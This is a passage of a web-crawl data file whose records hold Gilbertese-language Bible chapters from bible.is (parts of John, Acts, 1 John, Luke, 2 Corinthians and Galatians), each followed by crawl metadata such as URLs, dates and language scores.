kaawakin-tiibu ae e raoiroi. E anga maiuna te tia kaawakin-tiibu ae e raoiroi i bukiia tiibu. 12Te aomata ane e kabooaki ana mwakuri, ane tiaki te tia kaawakin-tiibu ao tiaki ana man tiibu, ngkana e noora te man ae e tiritiri bwa e roko, ao e biri nako ni kiitaniia tiibu; e rawea temanna te tiibu te man are e tiritiri n tenaia, ao e kauamaaei ake nikiraia. 13E biri nako ibukina ngke te aomata ngaia ae e kabooaki ana mwakuri, ao akea nanona irouia tiibu. 14Ngai te tia kaawakin-tiibu ae e raoiroi; ao I ataiia au tiibu, ao a ataai au tiibu, 15n ai aron te Tama ngkae E ataai, ao Ngai I ataa te Tama; ao I anga nanou bwa N na mate i bukiia tiibu. 16Iai au tiibu tabeman aika a aki mena i buakoia tiibu aikai; e riai bwa N na kairiia naba, ao a na ongo bwanaau. N te aro aei, ao a na riki bwa te nanai ae ti teuana, ao ti temanna te tia kaawakiniia. 17Ma ngaia ae E tangirai te Tama ibukina ngkai I anga nanou bwa N na mate, bwa I aonga ni manga maiu. 18Akea ane e anaa maiu mai irou. I anga n oin nanou. E mena irou te konaa n anga, ao te konaa n anaia. I anganaki te mwioko aei iroun Tamau. 19I bukin taeka aikai ao a manga aki booraoi naba I-Iutaia n aia iango ibukin Iesu. 20A mwaiti aomata i buakon te koraki arei ake a kaangai, Iai irouna te taimonio, ao e rangirang; kam aera ngkai kam ongoraa irouna? 21A taku tabemwaang i buakon te koraki naba arei, Taeka aikai bon tiaki ana taeka te aomata ae e taniaki iroun te taimonio. E konaa te kaure mataia mataki te taimonio? 22E a bo tain te Toa are Katabuan te Umwantabu i Ierutarem; bon tain te kamwaitorotoro te tai arei. 23E nanakonako Iesu n te tabo ae e aranaki bwa ana kaman Toromon n te umwantabu. 24A ootabwaniniia Iesu I-Iutaia ao a titirakinna ni kaangai, Maan ra te tai ae Ko na katikuira iai n tataninga i mwaain ae Ko tuangiira te koaua? Tuangiira raoi te koaua: te Kristo Ngkoe? 25E kaekaia Iesu ao E taku, I a kaman tuangkami, ma kam aki kakoauaai. A riki bwa bwaai ni kakoaua i bukiu baika I karaoi ni mwaakan Tamau; 26ma kam aki kakoauai, bwa tiaki kaain au nanai n tiibu ngkami. 27A ongo bwanaau au tiibu, ao I kinaia, ao a iriirai. 28I anganiia te maiu are e aki toki, ao a na bon aki mate; ao akea ae e konaa ni buribaiia mai irou. 29Tamau, are e anganai tiibu bwa au tiibu, E korakora riki nakoni bwaai ni kabane; ao akea ae e konaa n anaiia mai iroun Tamau are e kakaawakiniia. 30Ti temanna Ngai ma te Tama. 31A manga anai atiibu I-Iutaia bwa a na karebanaia. 32E taku Iesu nakoia, I a tia ni kaoti nakoimi mwakuri aika a bati aika a raraoi mai iroun te Tama; e ngaa i buakoia ae kam na karebanaai iai ibukina? 33A kaeka ao a kaangai, Tiaki ibukin te mwakuri ae e raoiroi ae ti na karebanaiko iai, ma ibukin am taetae ni bakanatua; ao ibukina naba bwa bon te aomata Ngkoe, ao Ko kan riki n Atua. 34E kaekaia Iesu ao E taku, Tiaki e koreaki n ami Tua ae e kaangai, I taku, atua ngkami? 35Ngkana E atongiia te Atua te koraki ake E anganiia ana taeka bwa atua (ao e aki konaa ni katinanikuaki taekan te Baibara), 36ao e aera ngkanne bwa kam na kaangai, Ko bakanatua, ibukina ngke I kaangai, Natin te Atua Ngai? Ao bon te Tama ae e rineai ao E kanakoai nako aonnaba. 37Ngkana I aki karaoi ana mwakuri Tamau, ao tai kakoauaai; 38ma ngkana I karaoi, e aoria ngkana kam aki kakoauaai, ma kam na kakoauai au mwakuri, bwa kam aonga n ataia ma ni kakoauaa bwa iai te Tama i nanou, ao Ngai i nanon te Tama. 39A manga kataia riki bwa a na tauua Iesu ni kaburea, ma E aki reke irouia. 40E kiitana ikekei Iesu ao E ri nuukan te karaanga are te Ioretan nako tanimainikuna nakon te tabo are e bwabwaabetiito ngkoa iai Ioane; ao E tiku ikekei. 41A mwaiti aomata ake a roko irouna; ao a kaangai, Akea te mwakuri ae e kamiimii ae e karaoia Ioane, ma ana taeka ni kabane ake e atong ibukin Teuaei a bane ni koaua. 42Ao a mwaiti aomata n te tabo arei ake a onimakina Iesu.\nIOANE 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/10","date":"2013-12-07T09:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053894\/warc\/CC-MAIN-20131204131733-00088-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":999,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e taku aia mataniwi ibonga nakon Tetebano, A koaua taeka akanne? 2Ao e kaangai Tetebano, Mwaane aika taari, ma taama, kam na ongoraa. E kaoti te Atua are e mimitong nakon tamara are Aberaam, ngke e mena i Metobotaamia, ngke e tuai ni maeka i Aran, 3ao E taku nakoina, Ko na kiitana abam ao am bu, ao ko na nako n te aba ae N na kaotia nakoim. 4E kiitana ngkanne abaia I-Kareria, ao e maeka i Aran. Ao i mwiini maten tamana, ao E kanakoa te Atua maikekei nakon te aba ae kam maeka iai ngkai; 5ma bon akea abana ae E anganna maiai: E aki anganna naba tao abwaabwaki ni mwanekana, ma E kabwakaa ana taeka n aakoi bwa E na anganna bwa abana, ao E na anganiia naba ana kariki i mwiina bwa abaia, e ngae ngke akea natina ngkanne irouna. 6Ao E taetae naba te Atua ni kaangai: bwa a na maeka n iruwa ana kariki Aberaam n te aba teuana ae tiaki abaia; ao a na toronaki ma ni bwainikiriinaki iai abubua te ririki. 7Ao E taku te Atua, N na karekea kain te bootanaomata are a toro irouia; ao i mwiina, a na oti nako n taromauriai n te tabo aei. 8E karaoa te booraraoi te Atua ma Aberaam, ao E tuanga Aberaam bwa ngkana a koroberoaki aomata, ao nanona ngkanne bwa a kukurei n te booraraoi. Ao Aberaam e karika Itaaka, ao e koroberoia n te kawanibong i mwiini bungiakina, ao Itaaka e koroberoa Iakobwa are natina, ao Iakobwa e koroberoia natina ake bakatibu ake a kakannato ake tengauni ma uoman. 9A bakantang natin Iakobwa iroun tariia are Iotebwa, ma ngaia are a kabooa nako Aikubita; ma E mena te Atua irouna, 10ao E kamaiua man rawaawatana ni kabane; ao E anganna te rabakau ma te taatangiraki irouni Bwarao are uean Aikubita, are E rineia bwa te tia tau-taeka i aon Aikubita ma ana utu ni kabaneia. 11Ao e roko te rongo i aon te aba ni kabanea are Aikubita ma Kanaan, ao e karika te rawaawata ae e korakora; akea kanaia ara bakatibu ae e konaa n reke irouia. 12Ma ngke e ongo Iakobwa bwa iai te amwarake i Aikubita, ao e kanakoia moa ara bakatibu. 13Ao n aia kauoua ni mwananga, ao e a kaotia Iotebwa nakoia tarina; ao a a ataaki ngkanne ana utu Iotebwa irouni Bwarao. 14Ao e kanaanako Iotebwa bwa e na weteaki nakoina tamana are Iakobwa ma ana buu ni kabaneia, ake itingauni ma niman. 15Ao e wairio nako Aikubita Iakobwa ma ana utu, ao a mate iai. 16A uotaki rabwataia nako Tekem, ao a kaweneaki n te nne ni mate, are e kabooa Aberaam n te mwane mai irouia natin Amora i Tekem. 17Ma ngke e a kaan te tai are E nang kakoroa iai bukin ana taeka n aakoi te Atua are E tuanga Aberaam, ao e a tia n raka rake mwaitiia ara aomata ni kabatiaaki riki i Aikubita, 18ni karokoa e uea temanna i Aikubita ae akea mutiakinan Iotebwa irouna. 19E burebureiia ara koraki, ao e bwainikiriniia ara bakatibu ni kairiia ma te matoa bwa a na kaakiia aia merimeri mani mwengaia, bwa a aonga ni mate. 20Bon aei te tai are e bungiaki iai Mote, ao te teei ngaia ae moan te tikiraoi taraana. E kaawakinaki ma n tararuaki raoi i nanon teniua namwakaina n ana auti tamana, 21ao ngke e kaakiaki, ao e anaia natini Bwarao te aine ni kaawakinna bwa kanga bon oin natina. 22Ao e reirei Mote n aia rabakau ni kabane I-Aikubita, ao e riki bwa te aomata ae e rangi n rabakau n te aro n taetae, ao n te mwakuri. 23Ao ngke a koro angaun ana ririki, ao e reke nanona bwa e na kawariia tarina, ake tibun Iteraera. 24Ao e noora temanna i buakoia bwa e bwainikiriinaki iroun te I-Aikubita; e nako ni buokia, n ira taangana, ao e tiringa te I-Aikubita: 25bwa e taku n ana iango bwa a ataia ae e kaboonganaaki iroun te Atua bwa e na kainaomataiia; ma a aki ataia. 26N te bong are i mwiina, ao e nooriia uoman bwa a un. E kan raoiakiniia, ma ngaia are e kaangai, Mwaane, kai taari ngkami, kam aera ngkai kam a kaikoakiingkami? 27Ao teuare e kaikoaka raona e butua nako Mote, ao e taku, Antai ae e karaoiko bwa te tia tau-taeka ao te tia motiki-taeka i aora? 28Ko kan tiringai, n ai arom ngke ko tiringa te I-Aikubita are ngkoananoa? 29Ngke e ongo aei Mote ao e biri nako mai Aikubita nakon te aba are Mirian. E a tibwa roko i Mirian; ao e karikiia natina mwaane aika uoman iai. 30Ao ngke a koro angaun te ririki, ao e kaoti te anera nakoni Mote n uran te ai n te kai n te rereua are i rarikin te maunga are Tinai. 31Ngke e nooria Mote, ao e miimii iai; ao ngke e kaania bwa e na mataku iai, ao e roko bwanaan te Uea, ae e kaangai, 32Atuaia am bakatibu Ngai, ae Atuan Aberaam, ma Itaaka, ma Iakobwa. Ao e ruru ni maaku Mote, ao e aki kan taraia. 33Ao E taku te Uea nakoina, Buuti am kau mai waem, bwa aontano ae e tabu te tabo ane ko tei iai. 34I noori raoi aroni bwainikiriinaia au bootanaomata ake a mena i Aikubita, ao I ongo ngirangiraia, ao I a ruo bwa N na kamaiuiia. Ao ngkai, nako mai, bwa N na kanakoko nako Aikubita. 35Mote aei, are a rawa irouna, ngke a kaangai, Antai ae e karaoiko bwa te tia tau-taeka ao te tia motiki-taeka? Boni ngaia are e kanakoaki iroun te Atua bwa te tia tau-taeka ao te tia kamaiu n ana buobuoki te anera are e kaotinakoina n te kai. 36E kairiia Mote ni kaotinakoiia, ngke e tia ni karaoi mwakuri aika a kamiimii ma kanikina n te aba are Aikubita, ao n te Nama are Uraura, ao n te rereua angaun te ririki. 37Boni Mote aei, are e kaangai nakoia tibun Iteraera, Ane E na kateirakea temanna te Atua mai buakoia tarimi bwa te buraabetinakoimi, n ai aron are E karaoianakoiu. 38Boni ngaia are e mena n te ekaretia n te rereua. E mena ikekei ma ara bakatibu ao te anera are e taetaenakoina n te maunga are Tinai; e anganaki taeka ni kamaiu bwa e na anganiira. 39A rawa ara bakatibu n ira nanoni Mote, ao a kanakoa mai irouia; a kani manga oki nako Aikubita, 40ao a kaangai nakon Aaron, Ko na karaoia antira aika a na ririmoara; bwa teuare Mote, are e kairiira ni kaotinakoira man te aba are Aikubita, ti aki ataia bwa tera ae e rikinakoina. 41Ao a karaoa ngkanne te bouananti ae katootoongan te kaotetei, ao a anga kareanakoina, ao a bootaki ni kimwaareirei ibukin te mwakuri are a a tia ni karaoia ni baiia. 42Ao E tannako te Atua mai irouia, ao E katikuiia n aroia bwa a na taromauri itoini karawa; n ai aron are e koreaki n aia boki buraabeti, ni kaangai, Ngkami aika te bootanaomata ae Iteraera, tiaki i bukiu maan ake kam tiring ao kam anga bwa ami karea n te rereua angaun te ririki? 43Ao kam tabeka umwani Moroka n uouotia, ma ana itoi te anti are Reban, ake bouananti ake kam karaoi bwa kam na taromauriia; ao N na kanakoingkami nakon aaba ake i tinanikuni Bwaburon. 44E mena irouia ara bakatibu umwan te Tua n te rereua. E a tia ni karaoaki: bwa e tuangaki Mote iroun Teuare taetaenakoina, bwa e na karaoia n ira te bwai ni katootoo are a tia n nooria. 45Rimwi riki, ao a anganaki ara bakatibu umwan te Tua irouia aia ikawai, ao e uotia Iotua ma ngaiia ngke a nako n taua te aba bwa abaia mai irouia bootanaomata ake E kakioia nako te Atua bwa a na aki tiku i mwaaia ara bakatibu; ao e tiku umwan te Tua ikekei ni karokoa ana tai n uea Tawita, 46are e a tia n reke akoana iroun te Atua. E butiia te Atua bwa E na anganna ana tai are e na konaa iai ni katea nnen Atuan Iakobwa ni maeka. 47Ma Toromon ae e katea nnena ni maeka. 48Ma E aki maeka Teuare Moan te Rietata n auti aika a karaoaki ni baiia aomata; n ai aron ana taeka te buraabeti, are e kaangai, 49E taku te Uea, Karawa au kaintokanuea, ao aonnaba nneni katokaani waeu. Te aeka n auti tera ae kam na kateia i bukiu? Ke tera neu ni motirawa? 50Tiaki bwa a bane ni karaoaki baikai ni kabane irou? 51Aomata ngkami aika a matoatoa nanomi, n ai aron nanoia aomata aika a aki onimakina te Atua; ao kam bonoti taningami n aki kan ongo ana taeka te Atua! Kam aki toki n raarawa ni kan ongo iroun te Taamnei are e Raoiroi. Kam a manga karaoa naba are a karaoia ngkoa ami bakatibu. 52Antai i buakoia buraabeti ae e aki bwainikiriinaki irouia ami bakatibu? Boni ngaiia ake a tiringiia uaake a kaman tataekina rokon Teuare e Raoiroi, are Ngaia are kam a tia ngkai ni kamwanea ao kam tiringnga. 53Ngkami aika kam anganaki ana tua te Atua n aia buobuoki anera, ao kam aki kaawakinna. 54Ngke a ongo taeka akekei kaain te Tanirim, ao a tenaibukini mwangaia bwa a rangi n un iroun Tetebano. 55Ma e on n te Taamnei are e Raoiroi Tetebano, ao e kanene matana n taraa karawa. E noora mimitongin te Atua, ma Iesu bwa E tei i angaatain te Atua; 56ao e taku Tetebano, Akea bwa I noora karawa bwa e kaukaki, ao Natin te Aomata bwa E tei i angaatain te Atua. 57Ao a takaarua te koraki arei n te bwanaa ae e korakora, ao a bonoti taningaia ni baiia, ao a biri ni bootaki ma te nano ae ti teuana n eweka aona; 58ao a taua ma te matoa ni kaotinakoa man te kaawa, ao a karebanaia; ao taani kakoaua akekei a katiku kunnikaia iroun te rorobuaka temanna, ae arana Tauro, bwa e na tararuai. 59Ao ngke a kume ni karebanaa Tetebano, ao ngaia e mwanewea aran te Uea, ao e kaangai, Te Uea ae Iesu, Anaa taamneiu! 60Ao e katorobubua, ao e taetae n te bwanaa ae e korakora ni kaangai, Te Uea, kabwaraa aia bure aei mai irouia. Ngke e a tia n atonga aei, ao e matuu.\nMWAKURI 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/7","date":"2013-12-12T12:14:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1736,"character_repetition_ratio":0.046,"word_repetition_ratio":0.003,"special_characters_ratio":0.233,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Au ataei aika a uarereke, I koroi baikai nakoimi, bwa kam aonga n aki bure. Ao ngkana e bure temanna, ao bon iai te Tia Tei i bukira are Iesu Kristo ae e atataiaomata, are e mena iroun te Tama: 2boni Ngaia te kareanraoi ibukin ara bure; ao tiaki ti ara bure, ma aia bure naba kaain aonnaba ni kabaneia. 3Ao aio te aro ae ti ataira iai bwa ti bon ataa te Atua: ngkai ti tauu ana tua nako. 4Ane e kaangai, I ataa te Atua; ma e aki tauu ana tua, ao bon te tia kewe, ao e aki mena te koaua i nanona; 5ma ane e taua ana taeka, ao nanona bwa iai kororaoin tangiran te Atua i nanona. Ao n te aro aei, ti a ataia raoi iai bwa ti nim ma Ngaia. 6Ane e taku bwa E nim te Atua ma ngaia, ao e riai n nakonako n te aro are E nakonako naba iai Kristo. 7Ngkami aika kam tangiraki, te tua ae I koroia ngkai nakoimi bon tiaki te bwai ae e boou, ma bon te tua nikawai ae iai iroumi ma ngke kam moa n riki bwa Kristian, are bon te taeka are kam a tia n ongo. 8Ma e boni ngae n anne, ao I a korea ngkai te tua ae e boou nakoimi, ae iai koauana ni maiun Iesu ao ni maiumi naba; bwa e tabe ni mauna te roo, ao te oota ni koaua e a tia n oota nako. 9Ane e taku bwa e mena n te oota, ma e ribaa tarina, ao e mena n te roo ni karokoa ngkai. 10Ane e tangira tarina ao e maeka n te oota, ao akea te bae e na reke waena iai n tatanako. 11Ma ane e ribaa tarina ao e mena n te roo, ao e nakonako n te roo n aki ataa ike e nako iai, bwa e kamatakii matana te roo. 12Ataei aika kam uarereke, I koroboki nakoimi, ngkai a a tia ni kabwaraaki ami bure ibukin arani Kristo. 13Taama, I koroboki nakoimi, ngkai kam ataa Teuare bon iai ma ngke a tuai ni karikaki bwaai. Rorobuaka, I koroboki nakoimi, ngkai kam a tia n tokanikai i aon teuare e buaakaka. 14Ataei, I koroboki nakoimi, ngkai kam ataa te Tama. Rorobuaka, I koroboki nakoimi, ngkai kam korakora; e meemena ana taeka te Atua i nanomi, ao kam a tia n tokanikai i aon teuare e buaakaka. 15Kam na tai tangira te aonnaba ae e buubure, ao tai tangiri naba bwaina nako. Ngkana e tangira aonnaba ae e buubure te aomata, ao akea i nanona tangiran te Tama. 16Bwa bwaai ni kabane aika a mena i aonnaba, ae kaibwabwarun te rabwata, ma aia kaibwabwaru maata, ma kainikatongan te maiu aei, a aki riki mai iroun te Tama, ma a riki man te aonnaba ae e buubure. 17E tabe ngkai ni mauna te aonnaba ae e buubure ma kaibwabwaruna; ma ane e kaakaraoa nanon te Atua, ao e na maiu n aki toki. 18Ataei, aei te kabanea n aoa; ao n aron are kam ongo bwa e nangi roko ana kairiribai Kristo, ao bon iai ngkai ana kairiribai Kristo aika a bati aika a kaoti. Ma ngaia ae ti ataia iai bwa aei te kabanea n aoa. 19Kairiribai aikai a nako mai buakora, ma bon tiaki raora; bwa ngke arona bwa raora, ao a na bon tiku iroura. Ma a nako mai buakora, bwa a na kaotaki bwa tiaki raora ngaiia ni kabaneia. 20Kam a tia ni kabiraki iroun Teuare Moan te Tabu, ao kam atai bwaai ni kabane. 21N na aki koroboki nakoimi ngke kam aki ataa te koaua; ma I koroboki bwa kioina ngkai kam ataa te koaua, ao ngkai bon akea te kewe n te koaua. 22Bwa antai te tia kewe ma bon te aomata ae e taku bwa Iesu bon tiaki te Kristo? Te aomata anne bon ana kairiribai Kristo—e kaakeaa te Tama ma te Nati. 23Ane e kaakeaa te Nati, ao akea te Tama irouna; ane e kaota onimakinan te Nati irouna, ao bon iai naba te Tama irouna. 24Ao ngkami, e na mena i nanomi te baere kam ongo ma ngke kam moa n riki bwa Kristian. Ngkana e meemena i nanomi te baere kam ongo ngke kam moa n riki bwa Kristian, ao ane kam na nim ma te Nati ao te Tama naba. 25Ao aio te taeka n aakoi are E tuangiira: bwa ti na maiu n aki toki. 26I koroi baikai nakoimi i bukiia akana a kataia ni mwaamwanaingkami. 27Ao ngkami, ngkai kam a tia ni kabiraki ngkai e teimatoa aromi anne irouna, a aki kai nanomi ngkana kam aki reireiaki iroun temanna; ma ngkai kam reireiaki bwaai ni bane ni kabirakimi irouna, ao ngkae koaua ao tiaki te kewe, ao kam na nim ma Ngaia n ai aron are E reireingkami iai 28Ma ngaia aei, ngkami aika ataei aika kam uarereke, kam na nim ma Ngaia; bwa ngkana E a manga oki Kristo, ao ti na aki maaku ma ni kaota ae ti rangi ni maamaa irouna i matana. 29Ngkana kam ataia bwa E kaakaraoa nanon te Atua, ao kam ataiia naba akana a kaakaraoa nanon te Atua bwa a bane ni bungiaki mai irouna.\n1 IOANE 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1John\/2","date":"2013-12-13T10:28:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164928424\/warc\/CC-MAIN-20131204134848-00088-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":876,"character_repetition_ratio":0.062,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E rin Iesu i Ieriko, ao E ri nuukana. 2Ao nooria, iai te aomata temanna ae arana Takaio, ae mataniwiia taan anai taekiti, ao e kaubwai. 3E kan noora Iesu bwa tera aron taraana, ma e aki konaa i bukiia aomata aika mwaiti, ao ngaia, te aomata ae e uarereke. 4Ma ngaia are e biri ri moa ao e tamwarakea te kai ae te tukumorea bwa e na noora Iesu ngkana E ri kekei. 5Ao ngke E roko Iesu n te tabo arei, ao E tara rake, ao E nooria, ao e kaangai nakoina, Takaio, bareiko ruo; bwa e riai bwa N na tiku n am auti n te bong aei. 6Ma ngaia are e barekia n ruo, ao e butimwaaea Iesu ma te kimwaareirei. 7Ao a bane ni ngurengure aomata ake a nooria, ao a kaangai, E nako n rin bwa E na iruwaanaki iroun te aomata ae te tia bure. 8Ao e tei Takaio, ao e taku nakon te Uea, Noria, te Uea, N na anga nako iteran au bwai nako nakoia akana aki kaubwai; ao ngkana I a tia n anaa te bwai teuana mai iroun temanna n te aro ni baabakanikawai, ao N na manga kaokia nakoina ni kaaua te tai mwaitina. 9Ao E taku Iesu nakoina, E a kamaiuaki te utu aei n te bong aei bwa ngaia natin naba Aberaam teuaei. 10Bwa E roko Natin te Aomata bwa E na ukoukoriia akana bua ao E na kamaiuiia. 11Ngke a tabe n ongoraa aomata ni baikekei, ao E a manga reita nako ana taeka Iesu n te rongorongo ni kabootau, ibukina ngke e a kaan ma Ierutarem, ao ibukina ngke a taku n aia iango bwa e na karina ni kaoti Uean te Atua. 12Ma ngaia are E taku, E nako te mataniwi temanna nakon te aba are e raroa bwa e na kaueaaki iai, ao e na manga okira mwengana. 13Ma i mwaaini mwanangana, ao e weteiia ana toro aika tengaun, ao e anganiia tebwina te mina ao e taku nakoia, Kam na kaboonganai baikai ni bitineti iai ni karokoa okiu. 14Ma e ribaaki teuarei irouia ana aomata, ao a kanakoia taan taetae i bukiia bwa a na ri mwiina, ao a na atongi taeka aikai n te aba are e mena iai teuarei: Tiaki tangira teuaei bwa e na uea i aora. 15Ngke e a oki, i mwiin reken te nakoa n uea irouna, ao e tua bwa a na weteaki nakoina tooro ake e a tia n anganiia te mwane, bwa e aonga n ataia bwa tera aia raka ae a karekea n te bobwai. 16E kaoti te moa n aomata i matana, ao E taku, Te uea, am mina are teuana e a tia ni karekea tebwina te mina riki. 17Ao ngaia e taku nakoina, E nako raoi am mwakuri, te toro ae ko raoiroi ngkoe! Ngkai ko a tia ni kakaonimaki n ae e rangi n uarereke, ao ko na mataniwi i aon tebwina te kaawa. 18Ao e roko te kauoman, ao e taku, Te uea, am mina are teuana, e a tia ni karekea nimaua te mina riki. 19Ao ngaia e taku nakoina, Ao ngkoe naba ko na mataniwi i aon nimaua te kaawa. 20Ao e roko are temanna ao e taku, Te uea, ao aei am mina, ae I niiria ni kaawakinna n te kunnikai; 21bwa I maakuko, bwa te aomata ae ko matoatoa ngkoe; ko kareke am bwai mani mwiin aia mwakuri aomata, ao ko bobooti uaa n taabo ake ko aki unuuniki iai. 22Ao ngaia e taku nakoina, Te toro ae ko buaakaka, N na kabuaakakako man am taeka akana nako mai wiim! Ko ataia bwa te aomata ngai ae I matoatoa bwa I kareke au bwai mani mwiin aia mwakuri aomata ao I bobooti uaa n taabo aika I aki unuuniki iai. 23E aera ngkanne ngkai ko aki karina au mwane n te bangke ao I a anaia ma rakana n rokou? 24Ao e taku nakoia aomata ake a teitei i rarikina, Kam na anaa te mina mai irouna, ao angan teuare iaiirouna tebwina te mina. 25Ao a kaeka ni kaangai, Te uea, e a kaman reke irouna tebwina te mina! 26I taku nakoimi bwa ane iai ana bwai ao e na anganaki riki; ao ane akea ana bwai ao e na anaaki mai irouna ane iai irouna. 27Ao i bukiia taan ribaai akanne, akana a aki tangirai bwa N na tautaeka i aoia, kairiia mai, ao tiringiia i matau. 28Ao ngke E a tia Iesu n atongi baikekei, ao E ri moa n nako Ierutarem. 29Ngke E a kaaniia Betebwake ma Betania, i rarikin te maunga are arana Oriweta, ao E kanakoia uoman ana reirei, 30ao E taku nakoia, Kam na nako n te kaawa ane i mwaaimi; ao ngkana kam rin iai, ao ane kam na noora iai te aati te teei ae e rooaki, ae e tuai n toka te aomata i aona; kabwaraa ao kairia mai. 31Ao ngkana e titirakiningkami te aomata ni kaangai, E aera ngkai kam kabwaraa? Ao kam na kaangai, E tangiria ara Uea. 32A nako uaake a tuangaki ao a kunea aron are E atongnga nakoia. 33Ngke a kume ni kabwaraa roon te aati te teei, ao a titirakinaki irouia uaake aia man te aati, ni kaangai, E aera ngkai kam kabwaraa roon te ati te teei? 34Ao ngaiia a kaeka ni kaangai, E tangiria ara Uea. 35Ao a kairia nakon Iesu; a kaaki kunnikaiia i aon te aati te teei, ao a katokaa Iesu iai. 36Ngke E toka i aon te aati ao E waaki i aoni kawaina, ao a taakini kunnikaia aomata ni kawenei i nanon te kawai. 37Ngke E a kaan ma Ierutarem, n te tabo are e mena iai te kawai are e ruo rikaaki man te maunga are Oriweta, ao a bane ni kimwaareirei ana reirei aika bati ao a kamoamoaa te Atua n te bwanaa ae e korakora ibukini mwakuri ni kabane ake a kamiimii ake a a tia n noori, 38ao a kaangai, E a kabwaia te King ae e roko n aran te Uea! Te raoi i karawa ao te neboaki ike moan te rietaata. 39Ao a taku nakoina Bwaritaio tabemwaang ake a mena i buakoia te mwaiti n aomata akekei, Te Tia Reirei, Ko na takuiia am reirei. 40Ao E kaekaia ni kaangai, I taku nakoimi, bwa ngkana a na aki karongoaa, ao ane a na takaarua atiibu iai. 41Ngke E a kaan riki Iesu ma te kaawa ao E taraia, ao E tangi nanona ibukina bwa E nanoangaia, 42ao E taku, Ko bia atai, n te bong aei, kawai ake e na reke iai te rau! Ma a karabaaki ngkai mai matam. 43Bwa ane a na roko iroum boong ake a na karaoa iai te o am kairiribai man tanon rarikim ae a katabukirakea ni katoobibiiko, ao ane a na otabwaniniiko, ni buakaniko mai rarikim nako, 44ao ane a na boouaiko i aontano, ngkoe ma ake a maeka i nanon oom, ao bon akea te atiibu teuana ae a na katikua n arona, ibukina bwa ko aki ataa te tai are E kawariko iai te Atua bwa E na kamaiuko. 45Ao E rin Iesu n te umwantabu, ao E kakioia nako aomata ake a kabooi nako aia bwaai iai, 46ao E taku nakoia, E koreaki ana taeka te Atua ae e kaangai, E na riki au auti bwa te tabo n taromauri; ma ngkami kam a tia ni karaoia bwa nneia taani kamwarua ni karabaiia. 47Ao E reirei Iesu n te umwantabu n te bong ae koraki. A ukoukora aroni kamateana ibonga ake mataniwi ma taani koroboki ao mataniwiia aomata, 48ma akea te kawai teuana ae a konaa ni karaoia iai, bwa a bane aomata ni kan ongoraa irouna.\nRUKA 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/19","date":"2013-12-12T06:36:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164561235\/warc\/CC-MAIN-20131204134241-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1293,"character_repetition_ratio":0.05,"word_repetition_ratio":0.008,"special_characters_ratio":0.246,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:88Bwa ti aki tangiringkami, taari, bwa kam na aki ataa rawaawatara are e roko iroura i Atia: bwa ti bati n taonaki iai i aon are ti kona, ao akea ara kaantaninga bwa ti na maiu maiai; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/8","date":"2013-12-11T00:56:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164028001\/warc\/CC-MAIN-20131204133348-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999828339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999828338623047}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I-Karatia aika kam nanobaba, antai ae e mwaamwanaaingkami, ngkami aika E kaotaki raoi taekani Iesu Kristo i matami, bwa E tauraki n te kaibangaki? 2Ti aei te bae I kan ataia mai iroumi, Kam anganaki te Taamnei ibukina ngke kam karaoi baika a tangiraki n te Tua, ke ibukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 3E aera ngkai kam konaa n nanobaba n aromi anne? Kam moana maiumi n onimaki iroun te Taamnei, ao ngkai kam nang kakororaoia n te aro n rabwata? 4A matebuaka bwaai ake a tia n riki nakoimi? A bon aki matebuaka. 5Ma ngaia aei, bwa Teuare e anganingkami te Taamnei, ma ni karaoi naba mwakuri aika a mwaaka i buakomi, E karaoi ibukina ngke kam karaoi baika a tangiraki n te Tua, ke ibukina ngke kam ongo taekan te euangkerio ao kam kakoauaa? 6Ngke e onimakina te Atua Aberaam, ao e a riki ana onimaki bwa kaetan 